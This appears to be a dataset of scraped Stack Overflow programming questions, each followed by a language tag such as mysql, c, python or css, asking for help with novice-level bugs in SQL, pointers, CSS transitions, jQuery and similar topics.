mysql :insert into a new column based on duplicate entries in another column  i am new to mysql and i have a mysql table like this :   <pre><code>+-------+-------+ | block | class | +-------+-------+ | 1     | 3112  | | 2     | 3131  | | 3     | 3131  | | 4     | 3131  | | 5     | 3131  | | 6     | 3131  | | 7     | 2131  | | 8     | 1131  | | 9     | 1131  | | 10    | 1131  | +-------+-------+ </code></pre>   i wish to add a new column  label  after the class column. the label class should have values 1 2 3 etc but only insert the same value for duplicate entries in the class label. so the new label column should look like this .   <pre><code>+-------+-------+----------+ | block | class | label    | +-------+-------+----------+ | 1     | 3112  | 1        | | 2     | 3131  | 2        | | 3     | 3131  | 2        | | 4     | 3131  | 2        | | 5     | 3131  | 2        | | 6     | 3131  | 2        | | 7     | 2131  | 3        | | 8     | 1131  | 4        | | 9     | 1131  | 4        | | 10    | 1131  | 4        | +-------+-------+----------+ </code></pre>   i don t have any keys defined for any of the columns as of yet. what is the best tool in mysql to achieve this and which statements will i need,mysql
php include: syntax error  unexpected t_include  expecting t_case or t_default or  }   i m trying to change this:   <pre><code>switch ($lang){          case  es :             include( index_es.php );             break;         case  en :             include( index_en.php );             break;         default:             include( index_en.php );             break;     } </code></pre>   to this:   <pre><code>switch ($lang){             include( languages.php );        } </code></pre>   in the languages file is where ill have all the <code>case</code>  <code>include</code>  and <code>break</code> information.  whats wrong with the code that it causes a syntax error,php
am i correctly understanding what all these pointers are pointing at   i created a program that creates three c-strings  then an array of pointers the size of the amount of c-strings that i created (3)  with each pointer in the array pointing at the first character of each of the three strings  and then finally a pointer to the array of pointers (which would be pointing at the first pointer in the array).     here s the code:   <pre><code>    int main() {     char arr1 [] =  hello ;     char arr2 [] =  dear ;     char arr3 [] =  world ;      char* p1[3];     *p1 = arr1;     *(p1+1) = arr2;     *(p1+2) = arr3;     char** ptr = p1; } </code></pre>   however  when i do something like <code>std::cout &lt;&lt; *ptr &lt;&lt; std::endl;</code> i expect it to just output the address of the first pointer in the array of pointers. however  it actually prints out the whole word <code> hello </code>  which seems weird to me. i would expect an address  and if i outputted <code>**ptr</code>  i would expect for it to just print out the letter <code> h </code> (which it actually does)am i not understanding something correctly  the same thing if i did <code>std::cout &lt;&lt; *(ptr+1)</code>..i would expect the address of the second pointer in the array of pointers <code>p1</code>  but it actually prints out the whole word  dear.  i m so lost..i thought dereferencing <code>ptr</code> would give me the address to <code>p1</code>  which dereferencing it twice would give me the value inside of the address of <code>p1</code>.,c++
detecting keystrokes  i need to detect a keystroke  without the user pressing enter. what s the most elegant way     i.e. if the user hits the letter <kbd>q</kbd>  without pressing <kbd>enter</kbd>  the program does something.,c
strong name dll searching  if a dll is strong assembly in which paths the clr will try to find the strong assemblies.  for example for the private assembly clr will try to find the directory in which exe is  present or checks any subdirectory exists with the same name as the exe.,.net
python: sorting a list using two keys which sort in a different direction <pre><code>&gt;&gt;&gt; from operator import itemgetter &gt;&gt;&gt; ul = [(10 2) (9 4) (10 3) (10 4) (9 1) (9 3)] &gt;&gt;&gt; ol = sorted(ul  key=itemgetter(0 1)  reverse=true) &gt;&gt;&gt; ol [(10  4)  (10  3)  (10  2)  (9  4)  (9  3)  (9  1)] </code></pre>   what i want is to sort reverse=false on the second key. in other words  i want the result to be:   <pre><code>[(10  2)  (10  3)  (10  4)  (9  1)  (9  3)  (9  4)] </code></pre>   how do i do this,python
video not playing ios app  i am trying to get a video to play when clicking on a uitabbar item. i followed this tutorial: <a href= http://www.techotopia.com/index.php/video_playback_from_within_an_ios_5_iphone_application  rel= nofollow >http://www.techotopia.com/index.php/video_playback_from_within_an_ios_5_iphone_application</a>    whenever i click the uitabbar item  it just shows the normal view  it doesn t add a movie view. here is my code:    <pre><code>- (void)viewdidload { nsurl *url = [nsurl fileurlwithpath:[[nsbundle mainbundle]                                      pathforresource:@ video  oftype:@ m4v ]]; mpmovieplayercontroller *movieplayer =  [[mpmovieplayercontroller alloc]                 initwithcontenturl:url];  [[nsnotificationcenter defaultcenter] addobserver:self                                          selector:@selector(movieplaybackdidfinish:)                                              name:mpmovieplayerplaybackdidfinishnotification                                            object:movieplayer];  movieplayer.controlstyle = mpmoviecontrolstyledefault; movieplayer.shouldautoplay = yes; [self.view addsubview:movieplayer.view]; [movieplayer setfullscreen:yes animated:yes]; } </code></pre>   i m also getting the following errors:   <pre><code>2013-01-26 15:21:08.243 smart mower[61339:c07] [mpavcontroller] autoplay: disabling        autoplay for pause 2013-01-26 15:21:08.244 smart mower[61339:c07] [mpavcontroller] autoplay: disabling autoplay 2013-01-26 15:21:08.260 smart mower[61339:c07] [mpavcontroller] autoplay: skipping   autoplay  disabled (for current item: 1  on player: 0) </code></pre>   can someone help me out   thanks!,ios
how to check ajax request complete & send again new request using jquery   on page load i m sending one ajax using jquery .ajax function. after i got response from that i want to send another ajax request &amp; it would be recursive.    so after getting previous ajax request s response i want to send another request.,jquery
select with ability to create new  i m searching the right solution for such functionality:   <ol> <li>we have model <code>book</code> that has belongs to <code>author</code></li> <li>when creating new book we can select an author from existing.</li> <li>under the select input there is a link  create new author .</li> <li>on clicking this link modal window appears with form for author (<code>:name</code>  <code>:biography</code>  <code>:picture</code> etc.).</li> <li>after submitting the form the author is created and available for selection.</li> </ol>   don t want someone to write ready code for me  but i would be very grateful if someone tells me the right way to solve this issue,ruby-on-rails
can not assign matrix to **pointer  i want to assign matris to pointer and print it. but i can t. code doesn t work. give this error  documents\untitled4.cpp   [error] cannot convert  int (*)[2][2]  to  int**  in initialization    how can i print  like this **p[i][j]    <pre><code>#include&lt;stdio.h&gt;   int main (int argc const char * argv[]){     int matrix [2][2]={{1 2} {3 4}};     int **p=&amp;matrix;     int i j;     for(i=0;i&lt;2;i++)     {         for(j=0;j&lt;2;j++)         {             printf( %d  p[i][j]);         }     }       return 0; } </code></pre>,c
abstract int() causing an invisible halt in my application  i noticed today that a certain feature wasn t working at all in my api and it s actually devistating to the progress i m making on my application that s using the api. there s absolutely no errors being produced  the application doesn t stop  hang  or even stutter. it justs acts as if i called <code>return</code> and carries on with it s processing.    the <strong>in a nutshell</strong> class:   <pre><code>public abstract class foo {      private static foo singleton;      public foo() {         singleton = this;     }      public static foo getsingleton() {          return singleton;     }      public abstract int bar(); } </code></pre>   in which i have another class that inherits from this like so:   <pre><code>public class bar extends foo {     public bar(...) {         super...     }      @override     public int bar() {         return 5;     } } </code></pre>   now  the class  bar  isn t in the same project as the  foo  class  as the  foo  class is part of an api (.jar) that is added as a dependency; however inside the .jar i have some code that needs to reference the value set by the overriden class over bar()    the code that i m using that currently upsets my girlfriend is below:   <pre><code>int foo = foo.getsingleton().bar(); // this should return the value of 5 set earlier </code></pre>   which does not set the value of foo  and in-fact doesn t even print out to the console if i add a <code>system.out.println</code> after it. it literally just feels like it <code>return</code> s,java
join multiple tables  i have 5 tables and trying to join into 1 but i am getting 4 records for each. how can i use correct join statement.   <pre><code>select  tbl_meter.[cdate] as  cdate    tbl_meter_backup.[machine_no]   tbl_machines.[accounting_denomination] as  denom    (tbl_meter.[turnover]- tbl_meter_backup.[turnover])* tbl_machines.[accounting_denomination]  as  turnover   (tbl_meter.[total win]- tbl_meter_backup.[total win])* tbl_machines.[accounting_denomination]  as  total win    (tbl_meter.[games played]-tbl_meter_backup.[games played]) as  games played   (tbl_meter.[credit in]-tbl_meter_backup.[credit in]) * tbl_machines.[accounting_denomination] as  credit in    (tbl_meter.[bill in]-tbl_meter_backup.[bill in])* tbl_machines.[accounting_denomination]  as  bill in     (tbl_meter.[cancel credit]-tbl_meter_backup.[cancel credit])* tbl_machines.[accounting_denomination]  as  cancel credit    tbl_open_backup.[amount] as  cgopen    tbl_cancel_backup.[amount] as  cgcancel   from  tbl_machines   tbl_meter  tbl_meter_backup  tbl_open_backup  tbl_cancel_backup    inner join tbl_meter  on  tbl_meter_backup.[machine_no] = tbl_meter.[machine_no] and tbl_machines.[local_no]=tbl_meter.[machine_no] and tbl_open_backup.[machine_no]=tbl_meter.[machine_no] and  tbl_cancel_backup.[machine_no]=tbl_meter.[machine_no]  where tbl_meter_backup.[cdate] = @startdate and tbl_meter.[cdate] = @enddate  and tbl_open_backup.[cdate]=@enddate and tbl_cancel_backup.[cdate]=@enddate; </code></pre>,sql
css flexible-height  slideup  transition  a common approach for making a slideup transition is the following:   <pre><code>.cssslideup {     transition: .5s linear all;     height: 80px;     overflow: hidden; } .cssslideup.hide {     height:0; } </code></pre>   this approach requires the element to have a fixed height (<code>80px</code>).     what approach allows me to have the same effect but with a flexible height     <h3>update:</h3>   this works  but i m still not satisfied. the <code>max-height:400px</code> property still fixes the height on a specified number  and doing <code>max-height:9999px</code> to make it  infinite  will make the transition unnoticeable:   <pre><code>.cssslideup {     transition: .5s linear all;     height: auto;     max-height: 400px;     overflow: hidden; } .cssslideup.ng-hide {     max-height: 0px; } </code></pre>  <h3>update 2:</h3>   a scale transform works well  but i m still not satisfied  since it won t push/pull the elements below:   <pre><code>.cssslideup {     transition: .5s linear all;     transform: scaley(1);     transform-origin: top;     overflow: hidden; } .cssslideup.ng-hide {     transform: scaley(0); } </code></pre>,css
how to get the position of dragged button  how do i get the coordinate position after using jquery drag and drop  i want to save the position to a database  so that next time i visit  the item will be in the same position.   <pre><code>    &lt;!doctype html&gt;         &lt;html lang= en &gt;         &lt;head&gt;             &lt;meta charset= utf-8 &gt;             &lt;title&gt;jquery ui draggable - default functionality&lt;/title&gt;             &lt;link rel= stylesheet  href= c:\users\atanu\downloads\jquery-ui-1.9.1\themes\base\jquery.ui.all.css &gt;             &lt;script src= c:\users\atanu\downloads\jquery-ui-1.9.1\jquery.js &gt;&lt;/script&gt;             &lt;script src= c:\users\atanu\downloads\jquery-ui-1.9.1\ui\jquery.ui.core.js &gt;&lt;/script&gt;             &lt;script src= c:\users\atanu\downloads\jquery-ui-1.9.1\ui\jquery.ui.widget.js &gt;&lt;/script&gt;             &lt;script src= c:\users\atanu\downloads\jquery-ui-1.9.1\ui\jquery.ui.mouse.js &gt;&lt;/script&gt;             &lt;script src= c:\users\atanu\downloads\jquery-ui-1.9.1\ui\jquery.ui.draggable.js &gt;&lt;/script&gt;             &lt;link rel= stylesheet  href= c:\users\atanu\downloads\jquery-ui-1.9.1\demos\demos.css &gt;             &lt;style&gt;             #draggable { width: 150px; height: 150px; padding: 0.5em; }             &lt;/style&gt;             &lt;script&gt;          $(function() {                 $(  #draggable  ).draggable({                 cancel: false             });             });           $( #draggable ).click(function(){             var x = $( #draggable ).position();             alert( top:   + x.top +   left:   + x.left);         });              &lt;/script&gt;         &lt;/head&gt;         &lt;body&gt;          &lt;button type= button  id= draggable  class= ui-widget-content &gt;             drag me around         &lt;/button&gt;          &lt;div class= demo-description &gt;         &lt;p&gt;enable draggable functionality on any dom element. move the draggable object by clicking on it with the mouse and dragging it anywhere within the viewport.&lt;/p&gt;         &lt;/div&gt; &lt;div id= start &gt;waiting for dragging the image get started...&lt;/div&gt; &lt;div id= stop &gt;waiting image getting dropped...&lt;/div&gt;         &lt;/body&gt;         &lt;/html&gt; </code></pre>,jquery
how can i have a map array   how do i load levels in my game  as in layer 1 would be objects  layer 2 would be characters and so on. i only need 3 layers  and they will all be put on top of each other. i.e having a flower with a transparent background to be put on grass or dirt on the layer below.i would like to read from the same file too. how would i go about doing this  any help would be appreciated.     i load the map from a level file which are just numbers corresponding to a tile in the tilesheet.    and here is the code that interprets it   <pre><code>void loadmap(const char *filename  std::vector&lt; std::vector &lt;int&gt; &gt; &amp;map) {     std::ifstream openfile(filename);      if(openfile.is_open())     {         std::string line  value;         int space;          while(!openfile.eof())         {             std::getline(openfile  line);              if(line.find( [tileset] ) != std::string::npos)             {                 state = tileset;                 continue;             }             else if (line.find( [layer1] ) != std::string::npos)             {                 state = map;                 continue;             }              switch(state)             {             case tileset:                 if(line.length() &gt; 0)                     tileset = al_load_bitmap(line.c_str());                 break;             case map:                   std::stringstream str(line);                 std::vector&lt;int&gt; tempvector;                  while(!str.eof())                 {                     std::getline(str  value     );                     if(value.length() &gt; 0)                                  tempvector.push_back(atoi(value.c_str()));                 }                 map.push_back(tempvector);                 break;             }         }     }     else     {   }   } </code></pre>   and this is how it draws the map. also the tile sheet is 1280 by 1280 and the tilesizex and tilesizey is 64   <pre><code>void drawmap(std::vector &lt;std::vector &lt;int&gt; &gt; map) {         int maprowcount = map.size();      for(int i  j = 0; i &lt; maprowcount; i ++)     {         int mapcolcount = map[i].size();          for (int j = 0; j &lt; mapcolcount; ++j)         {               int tilesetindex = map[i][j];               int tilesetrow = floor(tilesetindex / tileset_colcount);               int tilesetcol = tilesetindex % tileset_colcount;                   al_draw_bitmap_region(tileset  tilesetcol * tilesizex  tilesetrow * tilesizey  tilesizex  tilesizey  j * tilesizex  i * tilesizex  null);         }     } } </code></pre>   edit: <a href= http://i.imgur.com/ygu0zre.jpg  rel= nofollow >http://i.imgur.com/ygu0zre.jpg</a>,c++
asteroids style motion  direction of travel does not line up with direction of vector triangle  i am currently trying to recreate the classic game asteroids.     as of this moment i have managed to create a vector triangle on my screen and i have been able to make this triangle rotate around an origin point. i am now currently trying to get the triangle to move in the same way that the ship in the original game moves  with that floaty/on ice kind of feel. my problem however is that the direction of the ship s travel when the up button is pressed is not in line with the triangle s direction. i.e. the triangle travels off at the wrong direction and looks daft.     i am pretty sure the physics for the motion of the triangle is fine  so i think the error might be with the definition of the triangle but i am not sure. my code is below:   <pre><code>//handles updating the game state  moving the objects  and handling collisions.  #include  gamestate.h   struct gamestate_t{         int lives; } game;  struct ship_t{     int heading;     int x  y;     double vx  vy;     int speed;     bool isacc; //isaccelerating } ship;  void physics(void) {     moveship(); }   void initgamestate(void){      ship.heading = 0;     ship.x = 240;     ship.y = 240;     ship.vx = 0;     ship.vy = 0;     ship.speed = 0;     ship.isacc = false; //acceleration  }     //getters  int getshipx(void){     return ship.x; }  int getshipy(void){     return ship.y; }  int getshipheading(void){     return ship.heading; }  int getshipspeed(void) {     return ship.speed; }  bool getshipacc(void) {     return ship.isacc; }  double getshipvx(void) {     return ship.vx; }  double getshipvy(void) {     return ship.vy; }   void moveship(void) {         ship.x += (ship.vx / 10);         ship.y += (ship.vy / 10); }            void incheading(void) {      ship.heading++;      if(ship.heading &lt; 0)     {         ship.heading = 360;     }      if(ship.heading &gt; 360)     {         ship.heading = 0;     } }  void decheading(void) {     //ship.heading = ship.heading - 6;     ship.heading--;      if(ship.heading &lt; 0)     {         ship.heading = 360;     }      if(ship.heading &gt; 360)     {         ship.heading = 0;     } }  void accelerate(void) {     float shipheadingrads = (ship.heading * (pi / 180));     //float shipheadingrads = ship.heading;      ship.vy += sin(shipheadingrads) * acceleration;     ship.vx += cos(shipheadingrads) * acceleration;  } </code></pre>   this next part is the code that is used to draw the triangle on the screen  however this is used in another module.   <pre><code>void drawshipactive(void) {     int shipx = getshipx();     int shipy = getshipy();     int shipheading = getshipheading();      float shipheadingrads = (shipheading * (pi / 180));      int x1  y1  x2  y2  x3  y3;     int x1r  y1r  x2r  y2r  x3r  y3r;      /*     x1 = shipx;     y1 = shipy - 20;     x2 = shipx - 10;     y2 = shipy + 10;     x3 = shipx + 10;     y3 = shipy + 10;     */      x1 = shipx;     y1 = shipy + 20;     x2 = shipx - 10;     y2 = shipy - 10;     x3 = shipx + 10;     y3 = shipy - 10;      x1r = ((x1 - shipx) * cos(shipheadingrads)) - ((shipy - y1) * -(sin(shipheadingrads))) + shipx;     y1r = ((shipy - y1) * cos(shipheadingrads)) - ((x1 - shipx) * sin(shipheadingrads)) + shipy;     x2r = ((x2 - shipx) * cos(shipheadingrads)) - ((shipy - y2) * -(sin(shipheadingrads))) + shipx;     y2r = ((shipy - y2) * cos(shipheadingrads)) - ((x2 - shipx) * sin(shipheadingrads)) + shipy;     x3r = ((x3 - shipx) * cos(shipheadingrads)) - ((shipy - y3) * -(sin(shipheadingrads))) + shipx;     y3r = ((shipy - y3) * cos(shipheadingrads)) - ((x3 - shipx) * sin(shipheadingrads)) + shipy;      screen-&gt;drawtriangle(x1r  y1r  x2r  y2r  x3r  y3r  green); } </code></pre>   i am assuming this is a relatively minor problem but i m not sure where the problem lies exactly.     thank you for your help.,c
trying to figure out how to show a larger image in pop up box when hovering over a thumbnail in javascript  i have been able to figure everything out so far except for this last part where i need to show a larger image when hovering over a thumbnail. i have scoured the internet and stack overflow for hours now and surprisingly have not been able to find such a scenario. this is what i have so far for the javascript:   <pre><code>alert( your script is working. );   //test  var findimages = document.queryselectorall( .example ); alert(findimages.length);  function mouseoverfunction(){  }  function mouseoutfunction(){  }  for(i=0; i&lt;findimages.length; i++){   findimages[i].addeventlistener( mouseover   mouseoverfunction);   findimages[i].addeventlistener( mouseout   mouseoutfunction);   alert(findimages[i].src);   //test } alert( your script finished );    //test </code></pre>   the <code>findimages[]</code> has all 5 images in it that i need to enlarge upon hovering over the thumbnail with my mouse. any help would be greatly appreciated.  thanks,javascript
"onmouseover function didn t work  all the examples i found online didn t work for me. all i want is to change color on text when mouse is on it. and when move mouse to get old color (and maybe to change size  but if that is too complicated not yet) i know how to do that in css but i am learning js and thats the way i would like it.  it is only one word in text so it is class and not id.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>document.getelementsbyclassname( akcija ).addeventlistener( mouseover   mouseover);
 document.getelementsbyclassname( akcija ).addeventlistener( mouseout   mouseout);
 function mouseover() {
     document.getelementsbyclassname( akcija ).style.color =  black ;    
 }
 function mouseout() {
     document.getelementsbyclassname( akcija ).style.color =  blue ;    
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= akcija  style= width:200px; height:200px &gt;&lt;/div&gt;</code></pre>
 </div>
 </div>",javascript
performance hit of multiple assemblies  i m writing mvc support but that s not really important.    right now  i have business project  which contains infrastructure  application and domain layer with services.    i want to split this business to  application  intrastructure  domain  services assemblies.    is there any significant performance hit if i split my assembly into multiple assembly     i do not really care about start up  i want to know if there is any difference when assemblies are already loaded,.net
mapping external status to internal status + providing multiple  representations  of the status  i need to map status values from an external source:   <ul> <li>external source status == 1 -->  internal source status == 2     == new </li> <li>external source status == 5 -->  internal source status == 7     == processed </li> </ul>   so  i sometimes need to represent the internal status as integer or string..i think i should do this in a single function  as the status  regardless of the datatype  is representing the same thing.    my question  do i create a function that takes the external source status as an arg  then returns a key value pair  i don t want to create 2 functions when one would do.    ta     yogi,c#
how can i get image name   i have a button and imageview  when i click button  there seems 1 of random image in imageview. then it s names will appear in textview...   <pre><code>        imageview img=(imageview)findviewbyid(r.id.logolar);         random rand = new random();         int rndint = rand.nextint(5) + 1;         string drawablename =  image + rndint;         int resid = getresources().getidentifier(drawablename   drawable   getpackagename());         img.setimageresource(resid);          textview logoismi = (textview)findviewbyid(r.id.logoismi);         logoismi.settext(lastimagename);         clickeddata.add(logoismi.gettext().tostring());          lastimagename = drawablename; </code></pre>   but with this code  my images names must be; image1   image2   image3 ... i don t wanna it. my images have different names. so i can get different images names with this code;   <pre><code>    final class drawableclass = r.drawable.class; final field[] fields = drawableclass.getfields();  final random rand = new random(); int rndint = rand.nextint(fields.length); try {     int resid = fields[rndint].getint(drawableclass);     img.setimageresource(resid); } catch (exception e) {     e.printstacktrace(); } </code></pre>   but i can t get image name in my textview with this code too. how can i solve all of it,android
is there a way to check if the current li element has a certain element  such as ul using css   i want to check if the current li has a ul  if so apply style to the li. is there a way to do this in css,css
getting  name  instead of name value from rails database  i have a structure in my app where each <code>blog</code> entry is associated with a <code>pillar</code>.  on my <code>blogs#show</code> i have the following definition:   <pre><code>@pillar = pillar.where(id: @blog.pillars_id) </code></pre>   yet  when i go on a blog page and i try to access <code>@pillar.name</code> i get  pillar  instead of the pillar name (e.g.  general information  or  financing your home purchase ).  when i debug and ask the error page for <code>@pillar</code> it displays the following:   <pre><code>&lt;activerecord::relation [#&lt;pillar id: 2  name:  financing your home purchase   buyer: true  seller: false  active: true  menu: false  snippet:  another test snippet.  should i be thinking wittil...   description:  it is our choices harry that show what we truly ar...   created_at:  2018-07-03 16:50:55   updated_at:  2018-07-03 16:50:55 &gt;]&gt; </code></pre>   if it helps  a <code>blog</code> <code>belongs_to</code> a <code>pillar</code>  and a <code>pillar</code> <code>has_many</code> <code>blogs</code>.    can anyone figure out what s going on here,ruby-on-rails
how do you access dictionary values when keys are stored in another object   say i have two objects like this:    <pre><code>d={ a :{ z :1  y :2}  b :{ z :0  y :4}} k=( a   y ) </code></pre>   how can i use these two objects to get:   <pre><code>&gt;&gt;&gt; d[ a ][ y ]  2 </code></pre>   i need it to be dynamic so this won t work:   <pre><code>d[k[0]][k[1]] </code></pre>   because i am not always sure of the dictionary s nesting depth. <code>k</code> could have one element or several.,python
java reading txt file into tree data structure  i need help in implementing tree structure  i created the add child function that adds data to tree but there seems to be a problem while adding the child.    what i want the tree to look like:   <pre class= lang-none prettyprint-override ><code>                 date             /      |      \            /       |        \          /         |         \        /           |           \   20160101     20160102     20160103     /               |       |        \  12:00           13:00    12:00      13:00  /    \           /   \     |       /    \ here  there     here there here here     there </code></pre>   example txt file:   <pre> date time location 20160101 12:00 here 20160101 12:00 there 20160102 13:00 here 20160102 13:00 there 20160103 12:00  here 20160103 13:00  here 20160103 13:00  there </pre>   the output for the date seems fine  it shows 2 dates since i don t want the same date to show up twice but the time and location is wrong.    expected:   <pre> 20160101 12:00 here there 20160102 13:00 here there 20160103 12:00 here 13:00 here there </pre>   actual:   <pre> 20160101 12:00 here there 13:00 here there 20160102 12:00 here there 13:00 here there 20160103 12:00 here there 13:00 here there </pre>   i appreciate any help or feedback for my code.   <pre><code>public class tree {     list&lt;tree&gt; children = new arraylist&lt;tree&gt;();     tree parent = null;     string data = null;      public tree(string data) {         this.data = data;     }      public tree(string data  tree parent){         this.data = data;         this.parent = parent;     }      public void addchild(string data) {         tree child = new tree(data);         child.parent = this;         boolean match = false;         for (int i = 0; i &lt; this.children.size(); i++) {             if (this.children.get(i).data.equals(child.data)) {                 match = true;                 break;             }         }         if (!match) {             this.children.add(child);         }     }      public void addchild(tree child) {         boolean match = false;         for (int i = 0; i &lt; this.children.size(); i++) {             if (this.children.get(i).data.equals(child.data)) {                 match = true;                 break;             }         }         if (!match) {             this.children.add(child);         }     }      public static void main(string[] args) throws ioexception {         long starttime = system.nanotime();         scanner scanfile = new scanner(new file( example.txt ));         string line =   ;         line = scanfile.nextline();         tree parentnode = new tree(line.split(   )[0]);         tree datenode = new tree(null  parentnode);         tree timenode = new tree(null  datenode);         tree locationnode = new tree(null  timenode);         system.out.println(parentnode.data);          while(scanfile.hasnext()) {             line = scanfile.nextline();              timenode.addchild(line.split(   )[2]);             datenode.addchild(line.split(   )[1]);             parentnode.addchild(line.split(   )[0]);         }         scanfile.close();            for(int i =0; i &lt; parentnode.children.size(); i++) {             system.out.println(parentnode.children.get(i).data);             for(int j = 0; j &lt; datenode.children.size(); j++) {                 system.out.println(datenode.children.get(j).data);                 for(int k = 0; k &lt; timenode.children.size(); k++) {                     system.out.println(timenode.children.get(k).data);             }     }      long endtime = system.nanotime();     system.out.println( time taken:   + (endtime - starttime) / 1e9 +  s );     } } </code></pre>,java
calling a function of a reference to a function from within a class doesn t work  i ve created a javascript class that gets a reference to a function as its constructor argument. this class has an init() function which calls the init() function of the referenced function which was passed to the constructor. however  this results in an error saying that this.afunction.init() is undefined.    this is the code:   <pre><code>function aclass(afunction) {     this.afunction = afunction; }  aclass.prototype.init = function() {     this.afunction.init(); }  var aclass = new aclass(function() {     return {         init: function() {             alert( success );         }     }; });  alert( before init );             aclass.init(); </code></pre>   i ve put up a jsfiddle  at: <a href= http://jsfiddle.net/sbel/8cgph/3/  rel= nofollow >http://jsfiddle.net/sbel/8cgph/3/</a>,javascript
how to add the array value when the key names are same   i am populating an array in foreach loop    <pre><code>foreach ($value as $key ){    $array[$key[label]]= $key[name]; } </code></pre>   when the labels are same it over writes the value to that key.     question: when the key values are same i wanted to add the values and store to that key. any idea     for example:   <pre><code>$key[name1]=5 $key[name2]=4 $key[name1]=3 then the $key[name1]=8(5+3) </code></pre>,php
what is the range of a double in objective-c   i have a program where i am calculating large distances.  i then convert the distance (a double) using stringfromnumber to get the commas inserted (i.e. 1 234 567).  this works fine as long as the distance is below 2 000 000 000.  any time i exceed 2 billion i get a negative number that is also not the correct distance.  from checking the help  i seem to be well within the range of a double.  any ideas,objective-c
what is the advantage that wrapping the request from web browser to server in an object  i read in the 70-515 book that  by wrapping the http request in a programmable object  asp.net provides your code access to things such as the cookies associated with your site  the query string parameters passed with the url  and the path to the requested resource  and allows you to work with other relevant request-based information.    but how it is possible by wrapping into an object gives you access to cookies etc..  can any one please explain....,.net
print data of single linked list backward using stack  i am trying to print data of single linked list backward using stack but i am stuck.  the stack class is as follows:   <pre><code>public class stack{      public boolean isempty(){};         public void push(int n){};         public int peek(){};     public int pop(){};  }  public class node{     int data;     node next;    }  public class list{         node first;     } </code></pre>,java
what does an asterisk before an equal sign mean (*=)   what about the exclamation mark   i found these notations in a css :   <pre><code>.nav li ul li a [class*= icol- ] { opacity: 0.5; filter: alpha(opacity=50); padding-top: 4px; }  .secnav .chzn-container { width: 100%!important; max-width: 100%; } </code></pre>   what does the meaning of the <code>*</code> before the <code>=</code> sign   is it a comment when using the <code>!</code> symbol,css
list the most recently hired employee in each department  i am a trainee in sql  any help for this query would be great.tia.   <pre><code>    select distinct jobtitle max([hiredate]) loginid from [humanresources].[employee] as e  where loginid in (select distinct loginid from humanresources.employee                  where jobtitle in (select distinct jobtitle from [humanresources].[employee]) ) group by jobtitle loginid; </code></pre>,sql
how to test until condition is met   i have a problem with following algorithm  what should be done to resolve this problem  i type  a year if the year is not a leap year i will need to type again untill the typed year is a leap year.   <pre><code>    int year = 0;             bool yearc;      nslog(@ enter the year to be tested; );     scanf ( %i   &amp;year);     yearc = ((year % 4 == 0 &amp;&amp; year % 100 !=0)|| year % 400 == 0);     if ( yearc  )              nslog (@ it s a leap year. );     else      {         nslog (@ nope  it s not a leap year. );        scanf ( %i   &amp;year);         } } </code></pre>,objective-c
select a value and update status in one query  i want to select first available value <code> name </code> and set it as taken. is it possible to do it in one query     this is what i would do in two queries:   <pre><code>my_table id  name  active  $sql= select id  name from my_table where active= n  limit 1 ; $result = mysqli_query($con  $sql); $row = mysqli_fetch_array($result);  $id=$row[ id ]; $name=$row[ name ];  $sql= update my_table set active= y  where id=$id ; $result=mysqli_query($con  $sql); </code></pre>,mysql
deciphering c pointer code  i m new to c and came across some code dealing with pointers and could use some help deciphering it. what does this mean  it appears to be casting variable p to be a pointer to an int. i m confused by the (int *) code.    <pre><code>*(int *)p = 0x113 </code></pre>,c
sql transaction will not work  im trying to run this  but i get an error on line 4 where the transaction starts   <pre><code>    create procedure testproc1(pi_klassekode char(3)                            pi_klassenavn varchar(30)) begin   start transaction;   insert into klasse    values(pi_klassekode pi_klassenavn);   commit; end$$ </code></pre>,mysql
two divs inside another div and slide left right  i have a div that is masked off in terms of its width. inside  i have 2 divs of the same width floated  so 100% + 100%. this means that either the left is visible or the right is visible at any one time.    in fact  what i m trying to achieve is almost exactly the same as this:    <a href= https://stackoverflow.com/questions/15338054/jquery-slide-div-within-a-div >jquery slide div within a div</a>    just one difference though. the height of my parent isn t fixed  it s dependent on the child size. so when i apply <code>position: absolute;</code> to the parent  it all goes pear-shaped.    any solutions to this  i can use flexbox if necessary as i don t support ie8/9.    css would be something like this   <pre><code>.outer-wrap {     overflow:hidden;     position:relative;     width:300px; }  .middle-wrap {     overflow:hidden;     position:absolute; // this doesn t work because it has no fixed height     left:0;     width:600px; }  .middle-wrap.open {     right:0; }  .inner-wrap {     float:left;     width:300px; } </code></pre>   html   <pre><code>&lt;div class= outer-wrap &gt;     &lt;div class= middle-wrap &gt;         &lt;div class= inner-wrap &gt;&lt;/div&gt;         &lt;div class= inner-wrap &gt;&lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>,css
python  module  object is not callable when calling a function  i know there are several thread regarding this error  but i cant seems to find the right solution for this.   <pre><code>from libcomcat.search import search import datetime eventlist = search(starttime = datetime(1945 1 1 0 0)                endtime = datetime.datetime.now()                 maxlatitude = -5.747  minlatitude = -11.153                 maxlongitude = 121.619  minlongitude = 104.7                producttype = moment-tensor) </code></pre>   and it return the  module  object is not callable. i tried to make sure that <code>search</code> is a callable function and not a module by printing it   <pre><code>print (search) </code></pre>   as suggested in <a href= https://stackoverflow.com/questions/4534438/typeerror-module-object-is-not-callable >typeerror: &#39;module&#39; object is not callable</a> and returns:   <blockquote>    function search at 0x7f4308fe5ea0  </blockquote>   what exactly am i missing here  why it seems like <code>search</code> is both a function and a module     other things i have tried: 1. importing libcomcat as is and calling it as <code>libcomcat.search.search</code> still get the same error 2. someone suggesting to also import it on <strong>innit</strong>.py inside the parent directory (i dont get why ) still not working,python
c string allocation differences   i have a functions which takes a char * as its only argument.  i then perform some strtok operations on it.  sometimes it works and sometimes it doesent.  it working depends upon how the string was constructed.  for instance here are the two cases.   <pre><code>int main() {    char glob[] =  /abc/def/ghi ;    char *glob2 =  /abc/def/ghi ;     func(glob);  //this one works    func(glob2); //this one doesnt work     return 0; } </code></pre>   what is the difference between the two allocation methods and why does strtok blow up on the second one,c
